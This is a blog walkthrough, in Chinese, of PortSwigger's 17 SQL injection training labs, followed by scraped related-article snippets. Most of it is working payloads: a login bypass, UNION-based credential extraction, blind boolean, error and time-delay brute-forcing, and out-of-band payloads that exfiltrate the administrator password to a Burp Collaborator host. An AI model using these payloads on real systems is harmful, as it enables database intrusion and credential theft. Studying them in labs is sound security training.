BurpSuit官方实验室之SQL注入

article/2025/10/12 4:14:10

BurpSuit官方实验室之SQL注入

这是BurpSuit官方的实验室靶场,以下将记录个人SQL注入共17个Lab的通关过程

Web Security Academy: Free Online Training from PortSwigger

lab1:

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

WHERE子句中的SQL注入漏洞允许检索隐藏数据

进来发现如下商品页面

在这里插入图片描述

选择一个标签如Lifestyle会通过/filter?category=Lifestyle接口自动搜索相关内容
在这里插入图片描述

尝试注释掉后面的限制如limit、order by等,出现了4个信息,证明注释生效了存在sql注入
在这里插入图片描述

加入or 1=1,显示全部商品
在这里插入图片描述

lab2:

SQL injection vulnerability allowing login bypass

允许绕过登录的SQL注入

同样是一个商品界面,发现登录入口
在这里插入图片描述

登录界面
在这里插入图片描述

它的请求包如下,administrator用户存在并注释掉了后面的密码,成功跳转my-account页面

在这里插入图片描述

直接在登录框输入,administrator’-- 密码任意
在这里插入图片描述

成功绕过登录

在这里插入图片描述

lab3:

SQL injection UNION attack, determining the number of columns returned by the query

SQL注入联合攻击,确定查询返回的列数

进入到了如下页面

在这里插入图片描述

点击Lifestyle标签有如下请求包,和lab1有点像

在这里插入图片描述

关卡名称提示SQL injection UNION attack,需要先判断查询的字段,进行探测,结果都成功返回

' order by 1--
' order by 2--
' order by 3--

在这里插入图片描述

继续探测,报错证明查询的字段数为3

' order by 4--

在这里插入图片描述

利用联合查询成功通关

union select NULL,NULL,NULL--

在这里插入图片描述

lab4:

SQL injection UNION attack, finding a column containing text

SQL注入联盟攻击,找到一个包含文本的列

同样用' order by 1--探测出查询的字段数,然后联合查询,回显提示字符串

在这里插入图片描述

成功过关
在这里插入图片描述

lab5:

SQL injection UNION attack, retrieving data from other tables

SQL注入联合攻击,从其他表中检索数据

通过' order by 2--判断查询字段数为2

根据提示查询users表的username和password字段
在这里插入图片描述
在这里插入图片描述

利用拿到的账号密码登录

administrator
r9p7687yedddtfy9ugd5

在这里插入图片描述

lab6:

SQL injection UNION attack, retrieving multiple values in a single column

SQL注入联合攻击,在一列中检索多个值

同样通过order by判断字段数为2

想用lab5的方式一样查找,表users的username与password,但是不行了

在这里插入图片描述

根据提示一行多值,利用Oracle数据库的连接符||进行查询

在这里插入图片描述

利用拿到的账号密码进行登录

administrator:q1g44lzx12wu6k5zag77

lab7:

SQL injection attack, querying the database type and version on Oracle

SQL注入攻击,在Oracle上查询数据库类型和版本

order by 判断字段数为2

利用Oracle查询语句

SELECT BANNER FROM v$version

在这里插入图片描述

lab8:

SQL injection attack, querying the database type and version on MySQL and Microsoft

SQL注入攻击,在MySQL和Microsoft上查询数据库类型和版本

首先还是order by判断字段数为2 注释用–+或#
在这里插入图片描述

lab9:

SQL injection attack, listing the database contents on non-Oracle databases

SQL注入攻击,列出非Oracle数据上的数据库内容

order by判断字段数为2

利用如下sql查表

SELECT table_name FROM information_schema.tables

在这里插入图片描述

找到疑似用户表users_dnbohi

利用如下sql查字段

SELECT column_name FROM information_schema.columns WHERE table_name='users_dnbohi'

在这里插入图片描述

直接拿字段查询数据库

password_aizsso

username_yeoepo
在这里插入图片描述

使用administrator登录即可

lab10:

SQL injection attack, listing the database contents on Oracle

SQL注入攻击,列出Oracle上的数据库内容

Oracle找表

SELECT table_name FROM all_tables

在这里插入图片描述

找到疑似用户表USERS_YSPAXZ

利用构造如下SQL查表中字段

SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS_YSPAXZ'

在这里插入图片描述

根据获得的字段查表
在这里插入图片描述

拿到administrator用户进行登录

lab11:

Blind SQL injection with conditional responses

具有条件反应的SQL盲注

根据目标提示,SQL注入存在Cookie中,查询成功有Welcome back的回显但没有数据的回显,给了表和字段,让我们查到administrator用户的账号密码

在这里插入图片描述

正常状态下的回显点

在这里插入图片描述

修改测试Cookie值

正常:

TrackingId=IbtFgRW3fsOqScJZ' AND '1'='1

在这里插入图片描述

而当以下状态则无回显

TrackingId=IbtFgRW3fsOqScJZ' AND '1'='2

在这里插入图片描述

ps:遇到这种盲注的还是得上脚本跑,不过既然是bp的实验室就只用bp不作弊了。

验证存在users表

TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT 'tpa' FROM users LIMIT 1)='tpa;

在这里插入图片描述

验证users表中存在administrator用户

AND (SELECT 'tpa' FROM users WHERE username='administrator')='tpa

在这里插入图片描述

验证administrator用户密码的长度

TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT 'tpa' FROM users WHERE username='administrator' AND LENGTH(password)>1)='tpa;

增加数值进行爆破
在这里插入图片描述

直接爆破100次

在这里插入图片描述

最终判断出密码为20位
在这里插入图片描述

接下来爆破这20位密码,其中利用了SUBSTRING函数

MySQL 中获取子串函数SUBSTRING(s,n,len) 带有len 参数的格式,从字符串s 返回一个长度同len 字符相同的子字符串,起始于位置n。

TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

需要使用Cluster bomb模块,爆破如下两个点

在这里插入图片描述

设置第一个payload

在这里插入图片描述

设置第二个payload

在这里插入图片描述

爆破出密码

在这里插入图片描述

得到密码

eiuykiw2hve9iksu5zg4

进行登录

lab12:

Blind SQL injection with conditional errors

有条件误差的SQL盲注

这题和lab13一样也在Cookie存在注入点

当Cookie,如下出现异常

TrackingId=QK2186qbcVnsom7d'

而当如下则正常,说明带入了数据库查询中存在SQL注入

TrackingId=QK2186qbcVnsom7d''

当Cookie为,回显正常,说明为Oracle数据库

TrackingId=QK2186qbcVnsom7d'||(SELECT '' FROM dual)||';

确定users表存在

# WHERE ROWNUM = 1 用于限定仅仅返回一行数据
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE ROWNUM = 1)||';

在这里插入图片描述

确定表中存在administrator

# 正常,tpa不存在,SELECT '' 不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='tpa')||';
# 正常,tpa不存在,SELECT TO_CHAR(1/0) 也不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='tpa')||';
# 正常,administrator存在,SELECT '' 不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='administrator')||';

在这里插入图片描述

# 异常,administrator存在,SELECT TO_CHAR(1/0) 会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='administrator')||';

在这里插入图片描述

确定password的字段数

# 异常即LENGTH(password)>条件满足,测试找到正常时的长度值
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN LENGTH(password)>1
THEN+TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';

爆破得到密码为20位

在这里插入图片描述

继续爆破密码同lab11

TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN SUBSTR(password,1,1)='a'
THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';

在这里插入图片描述

得到密码

ykx431jx1rnwz1qirwe1

lab13:

Bind SQl injection with time delays

具有时间延迟的SQL盲注

时间延迟

Oracle	dbms_pipe.receive_message(('a'),10)
Microsoft	WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT pg_sleep(10)
MySQL	SELECT sleep(10)

成功利用pg_sleep(10)完成10秒延迟

TrackingId=QK2186qbcVnsom7d'||pg_sleep(10)--;

lab14:

Blind SQL injection with time delays and information retrieval

时间SQL盲注与信息检索

case语句确认:

#延时,%3B为分号URL编码,使得cookie查询执行后,执行SQL 
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
#不延时
'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

判断administrator是否存在

#不延时
'%3BSELECT+CASE+WHEN+(username='tpa')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
#延时
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

判断密码字段长度为20

#延时
'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
#不延时
'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+LENGTH(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

爆破密码观察延时记录

'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

爆破和之前一样,但必须要开单线程否则时间影响判断

在这里插入图片描述

3frfbconkxofsl9luia0

lab15:

Blind SQL injection with out-of-band interaction

带外交互的盲SQL注入

在Burp菜单中,启动Burp Collaborator client

DNS回显

TrackingId=vsVGPg9k549Xo6Cl'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//4hmbtgow2l3nn7ibp4pr2ov9r0xqlf.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

在这里插入图片描述

lab16:

Blind SQL injection with out-of-band data exfiltration

带外数据泄漏的盲SQL注入

TrackingId=Ifp0Hk2INB4OuswfX'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.xij43u68zv8n2jpslrd0w7nt4kaayz.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

在这里插入图片描述

拿到密码

在这里插入图片描述

lab17:

SQL injection with filter bypass via XML encoding

通过XML编码绕过过滤器的SQL注入

这次页面比较特殊没看到按钮,只有view details的按钮,点进去

在这里插入图片描述

发现新按钮

在这里插入图片描述

点击生成如下请求包,当为<storeId>1<storeId>返回742units
在这里插入图片描述

当为<storeId>2<storeId>返回561units

在这里插入图片描述

测试是否存在数学表达式替换ID

使用<storeId>1+1<storeId>,成功查到<storeId>2<storeId>的结果
在这里插入图片描述

追加 UNION SELECT NULL,被WAF侦测到攻击阻止

在这里插入图片描述

利用 Hackvertor插件转十六进制实体成功绕过(units不一样是因为环境timeout重开了)

在这里插入图片描述

以为只能返回一列,将用户名密码连接起来,得到用户密码

1 UNION SELECT username || ':' || password FROM users

在这里插入图片描述


http://chatgpt.dhexx.cn/article/wHgAasm7.shtml

相关文章

SQL注入的常见方式

目录 联合查询&#xff08;union&#xff09;函数介绍order byunion select 操作 布尔盲注 &#xff08;and or&#xff09;函数介绍mid 从中间截取字符left 从左开始截取字符ord、ascii 转成ascii码length 统计长度andregexp 正则注入-针对MySQL 操作1. 猜数据库长度2. 猜数据…

PentesterLab靶场sql注入流程

环境安装 随便在网上找了个Pentester的靶场&#xff0c;结果是2013年的&#xff0c;那就从2013年的这个靶场开始学习 下载镜像的地址&#xff1a; https://pentesterlab.com/exercises/web_for_pentester_II/iso 正常找个虚拟机&#xff0c;进行iso的安装 安装完成后&…

SQL注入教程——(三)简单的注入尝试

本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三。 GET与POST 进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。 在客户机和服务器之间进行请求-响应时,两种最常被…

DVWA通过攻略之SQL注入

目录 1.SQL Injection SQL注入2.实验演示2.1.low2.3.high2.4.impossible 3.sqlmap自动化注入3.1.low3.2.medium3.3.high 4.SQL注入&#xff08;盲注&#xff09;5.防范措施 1.SQL Injection SQL注入 SQL是操作数据库数据的结构化查询语言&#xff0c;网页的应用数据和后台数据…

SQL注入及实战

SQL注入及实战 本文记录各种SQL注入类型的实操过程 SQL注入定义&#xff1a;由于程序中对用户输入检查不严格&#xff0c;用户可以提交一段数据库查询代码&#xff0c;根据程序返回的结果&#xff0c;获得某些他想得知的数据&#xff0c;这就是所谓的SQL Injection&#xff0…

web 漏洞入门之 —— SQL 注入教程

SQL 注入是最常见、最被人们熟知的 web 漏洞。根据百科的解释&#xff1a;所谓SQL注入&#xff0c;就是通过把SQL命令&#xff0c;插入到Web表单提交或输入域名或页面请求的查询字符串&#xff0c;最终达到欺骗服务器执行恶意的SQL命令。 比如某个公司有一个员工管理系统&#…

SQL注入基础教程

注&#xff1a;本篇不讲关于sql-labs的搭建&#xff0c;如有需要请私信我&#xff0c;我将会出一期详细的配置教程 SQL注入基础教程 数据库的结构注释符SQL注入之基础注入 数据库的结构 在学习数据库之前&#xff0c;我们首先要了解数据库的结构。 一般数据库由三个部分组成&…

SQL 注入教程:通过示例学习

数据是信息系统最重要的组成部分之一。组织使用数据库驱动的 Web 应用程序从客户那里获取数据。SQL是结构化查询语言的首字母缩写。它用于检索和操作数据库中的数据。 什么是 SQL 注入&#xff1f; SQL 注入是一种攻击动态 SQL 语句以注释掉语句的某些部分或附加始终为真的条…

sql注入详解

目录 前言? ? 一、漏洞原因分析 二、漏洞危害 三、sql注入防范 四、如何挖掘sql注入漏洞 五、常见的注入手法 联合查询(union注入) 报错注入 基于布尔的盲注 基于时间的盲注 HTTP头注入 宽字节注入 堆叠查询 二阶注入 六、sql注入getshell的几种方式 前言 结…

SQL注入教程

目录 基础sql语法基础注释sql注入漏洞产生的条件 sql注入的分类基于从服务器收到的响应基于数据库种类基于如何处理输入的SQL查询(数据类型)参数位置注入方法注入流程 万能密码ACCESS注入流程判断方法注入实战 MSSQL注入流程默认数据库函数注入过程 MySql注入&#xff08;重头戏…

SQL注入基本教程

注&#xff1a;只是自己学习记录&#xff0c;若有不对的地方请指出&#xff0c;文章有过一次修改&#xff0c;修改了关于order by函数的知识点 个人小站 SQL注入基本教程 数据库的结构注释符SQL注入简单教程 数据库的结构 学习SQL注入首先要知道数据库的结构 数据库由三个部分…

Sql注入的入门教程

Sql注入比较常见的漏洞之一&#xff0c;例用程序员的漏洞来进行无账号的登陆&#xff0c;篡改数据库。任何客户端可控&#xff0c;传参数到服务端的变量&#xff0c;和数据库交互&#xff0c;都有可能存在sql注入 原理 用户通过构造sql语句来模仿服务器发向服务器的语句&…

ImageJ 插入插件和基本教程

文章目录 前言一、ImageJ的下载二、ImageJ的安装三、给ImageJ添加自定义插件四、ImageJ闪退怎么办 前言 该软件是一个使用Java语音编写的图像处理和分析软件。ImageJ基于插件架构体系设计&#xff0c;可以通过编写插件对其功能进行扩展 一、ImageJ的下载 这款软件是完完全全免…

FIJI (ImageJ) 图像处理合集

1.更改伪彩颜色 ImageJ可以打开CAI格式&#xff0c;尼康的2084的原始格式等等。 将图片直接拖拽到imageJ软件上。 会弹出一个窗口 这个窗口就是告诉我们&#xff1a;关于这个图像的原始格式是否需要进行设置。通常使用默认的&#xff0c;点击Ok。 就可以打开这个图像 如果打…

ImageJ -介绍与安装

写在开头 ImageJ&#xff0c;一款免费却又极其强大的图像处理软件。百科 但很不幸的是&#xff0c;这款软件对于电脑小白而言&#xff0c;可能并不容易上手。 看一下这个软件的界面就知道了。 反正我第一打开的时候就直接想关掉&#xff0c;这些个 icon 根本不知道干嘛的好吧…

JS操作图片的利器:Jimp VS GM

前段时间&#xff0c;笔者有一个项目需求&#xff0c;需要在一张图片上面添加文件&#xff0c;并另存为一张新的图片。刚开始的时候&#xff0c;笔者使用的是大名鼎鼎的jimp。 。 其功能能满足我的要求&#xff0c;而且其license是MIT&#xff0c;不依赖于第三方的可执行程序…

imgageJ开发【Java】

一&#xff0e;ImageJ简介 ImageJ是一款由NIH&#xff08;National Institutes of Health,美国国家卫生研究院&#xff09;发起&#xff0c;可用于Windows,Mac,OSX和Linux等操作系统的图像处理开元软件&#xff0c;ImageJ小巧&#xff0c;只有5MB左右&#xff0c;界面简洁&…

ImageIO类的使用

重点内容 (一) How to read an image from file or URL&#xff1f; 从本地文本读取图片 File sourceimage new File("c:\\mypic.jpg"); Image image ImageIO.read(sourceimage); 从网络上获取图片 URL url new URL("http://www.mkyong.com/image/mypic…

安装Image J 插件

1.下载imageJ&#xff0c;网址&#xff1a;https://imagej.net/Fiji/Downloads 2.解压 3.安装插件 &#xff08;1&#xff09;https://imagej.nih.gov/ij/plugins/index.html这个网址下载你需要的插件。打开toolsets或者tools。 ![在这里插入图片描述](https://img-blog.csd…